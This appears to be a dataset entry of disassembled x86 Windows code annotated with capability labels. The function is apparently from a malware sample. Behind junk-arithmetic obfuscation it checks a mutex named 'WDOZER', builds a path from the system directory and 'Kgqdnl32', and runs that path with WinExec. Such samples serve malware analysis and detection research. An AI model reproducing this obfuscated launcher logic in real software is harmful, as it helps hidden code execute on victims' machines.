Function at 0x10001348
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push ebx
push esi
push edi
mov ebx, 0x2ca19b9
xor ebx, 0x615a
xor ebx, 0xcee
mov eax, ebx
mul ebx
mov dword [ebp - 0x11c], eax
mov ebx, eax
mul ebx
mov dword [ebp - 0x120], eax
mov ebx, eax
sub ebx, 0x3e83
mov eax, ebx
xor eax, ebx
mov ebx, eax
push 0x5dc
call sub.CRTDLL.DLL_srand
pop ecx
mov eax, 0x46d9
mul ebx
mov dword [ebp - 0x124], eax
mov ebx, eax
xor ebx, 0x3619
mov eax, ebx
add eax, ebx
mov ebx, eax
xor eax, ebx
mov ebx, eax
mul ebx
mov dword [ebp - 0x128], eax
mov ebx, eax
add eax, ebx
mov ebx, eax
xor ebx, 0x7e25
add ebx, 0x60d0
mov eax, ebx
mul ebx
mov dword [ebp - 0x12c], eax
mov ebx, eax
xor eax, ebx
mov ebx, eax
sub eax, ebx
mov ebx, eax
xor ebx, 0x3b3d
mov eax, ebx
sub eax, ebx
mov ebx, eax
sub eax, ebx
mov ebx, eax
mov eax, 0x6416
mul ebx
mov dword [ebp - 0x130], eax
mov ebx, eax
add eax, ebx
mov ebx, eax
add ebx, 0x4430
mov eax, ebx
mul ebx
mov dword [ebp - 0x134], eax
mov ebx, eax
push str.WDOZER
push 0
push 0x1f0001
call sub.KERNEL32.DLL_OpenMutexA
mov dword [ebp - 0x118], eax
or eax, eax
je 0x10001508
mov eax, 0x3b62
mul ebx
mov dword [ebp - 0x138], eax
mov ebx, eax
add eax, ebx
mov ebx, eax
xor ebx, 0x4b61
mov eax, 0x382d
mul ebx
mov dword [ebp - 0x13c], eax
mov ebx, eax
add ebx, 0x2e4e
xor ebx, 0x7942
add ebx, 0x579d
call sub.KERNEL32.DLL_GetCurrentThreadId
sub ebx, 0x184d
mov eax, ebx
mul ebx
mov dword [ebp - 0x140], eax
mov ebx, eax
sub ebx, 0x412
sub ebx, 0x6886
mov eax, ebx
add eax, ebx
mov ebx, eax
push dword [ebp - 0x118]
call sub.KERNEL32.DLL_CloseHandle
mov eax, 0x3b9
mul ebx
mov dword [ebp - 0x144], eax
mov ebx, eax
xor eax, ebx
mov ebx, eax
add eax, ebx
mov ebx, eax
mov eax, 0x1e22
mul ebx
mov dword [ebp - 0x148], eax
mov ebx, eax
xor ebx, 0x2c29
mov eax, 0x642b
mul ebx
mov dword [ebp - 0x14c], eax
mov ebx, eax
add ebx, 0x760a
mov eax, ebx
add eax, ebx
mov ebx, eax
mul ebx
mov dword [ebp - 0x150], eax
mov ebx, eax
xor eax, ebx
mov ebx, eax
sub eax, ebx
mov ebx, eax
xor ebx, 0x316
xor eax, eax
inc eax
jmp 0x10001798
sub ebx, 0xc05
add ebx, 0xadc
mov eax, ebx
xor eax, ebx
mov ebx, eax
sub eax, ebx
mov ebx, eax
sub ebx, 0x4417
mov eax, 0x37de
mul ebx
mov dword [ebp - 0x138], eax
mov ebx, eax
add ebx, 0x6e6f
add ebx, 0x6269
mov eax, ebx
sub eax, ebx
mov ebx, eax
add ebx, 0x46a8
add ebx, 0x1c65
mov eax, ebx
mul ebx
mov dword [ebp - 0x13c], eax
mov ebx, eax
sub ebx, 0x4c2b
mov eax, ebx
sub eax, ebx
mov ebx, eax
mul ebx
mov dword [ebp - 0x140], eax
mov ebx, eax
lea edi, [ebp - 0x114]
lea esi, str.Kgqdnl32
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
mov eax, ebx
sub eax, ebx
mov ebx, eax
mov eax, 0x3cc1
mul ebx
mov dword [ebp - 0x144], eax
mov ebx, eax
sub eax, ebx
mov ebx, eax
add eax, ebx
mov ebx, eax
mul ebx
mov dword [ebp - 0x148], eax
mov ebx, eax
mul ebx
mov dword [ebp - 0x14c], eax
mov ebx, eax
add eax, ebx
mov ebx, eax
xor eax, ebx
mov ebx, eax
xor ebx, 0x63a0
mov eax, 0x3e24
mul ebx
mov dword [ebp - 0x150], eax
mov ebx, eax
mov eax, 0x7cf9
mul ebx
mov dword [ebp - 0x154], eax
mov ebx, eax
xor eax, ebx
mov ebx, eax
push 0x104
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
add ebx, 0x4e5a
add ebx, 0x1602
mov eax, ebx
mul ebx
mov dword [ebp - 0x158], eax
mov ebx, eax
add ebx, 0x35d2
mov eax, ebx
add eax, ebx
mov ebx, eax
add eax, ebx
mov ebx, eax
xor ebx, 0x38ba
mov eax, 0x59f3
mul ebx
mov dword [ebp - 0x15c], eax
mov ebx, eax
mov eax, 0x514b
mul ebx
mov dword [ebp - 0x160], eax
mov ebx, eax
add eax, ebx
mov ebx, eax
sub eax, ebx
mov ebx, eax
xor ebx, 0x2750
add ebx, 0x45f8
call sub.KERNEL32.DLL_GetCurrentProcessId
mov eax, ebx
add eax, ebx
mov ebx, eax
xor eax, ebx
mov ebx, eax
mul ebx
mov dword [ebp - 0x164], eax
mov ebx, eax
add ebx, 0x2694
add ebx, 0xa31
sub ebx, 0x764
sub ebx, 0xab5
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x104]
push eax
push str._s_s
lea eax, [ebp - 0x104]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
mov eax, ebx
xor eax, ebx
mov ebx, eax
sub ebx, 0x1b08
mov eax, 0x2cbc
mul ebx
mov dword [ebp - 0x168], eax
mov ebx, eax
mul ebx
mov dword [ebp - 0x16c], eax
mov ebx, eax
xor ebx, 0x72d3
mov eax, 0x4918
mul ebx
mov dword [ebp - 0x170], eax
mov ebx, eax
mov eax, 0x7471
mul ebx
mov dword [ebp - 0x174], eax
mov ebx, eax
mul ebx
mov dword [ebp - 0x178], eax
mov ebx, eax
mul ebx
mov dword [ebp - 0x17c], eax
mov ebx, eax
mov eax, 0x14fc
mul ebx
mov dword [ebp - 0x180], eax
mov ebx, eax
mov eax, 0x31ae
mul ebx
mov dword [ebp - 0x184], eax
mov ebx, eax
xor ebx, 0x1f6b
push 1
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.DLL_WinExec
mov eax, ebx
add eax, ebx
mov ebx, eax
mul ebx
mov dword [ebp - 0x188], eax
mov ebx, eax
sub ebx, 0x4b1c
mov eax, ebx
mul ebx
mov dword [ebp - 0x18c], eax
mov ebx, eax
sub ebx, 0x3807
mov eax, ebx
add eax, ebx
mov ebx, eax
xor ebx, 0x2ec5
mov eax, ebx
xor eax, ebx
mov ebx, eax
mov eax, 0x53df
mul ebx
mov dword [ebp - 0x190], eax
mov ebx, eax
xor ebx, 0x58be
mov eax, ebx
sub eax, ebx
mov ebx, eax
add ebx, 0x27de
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc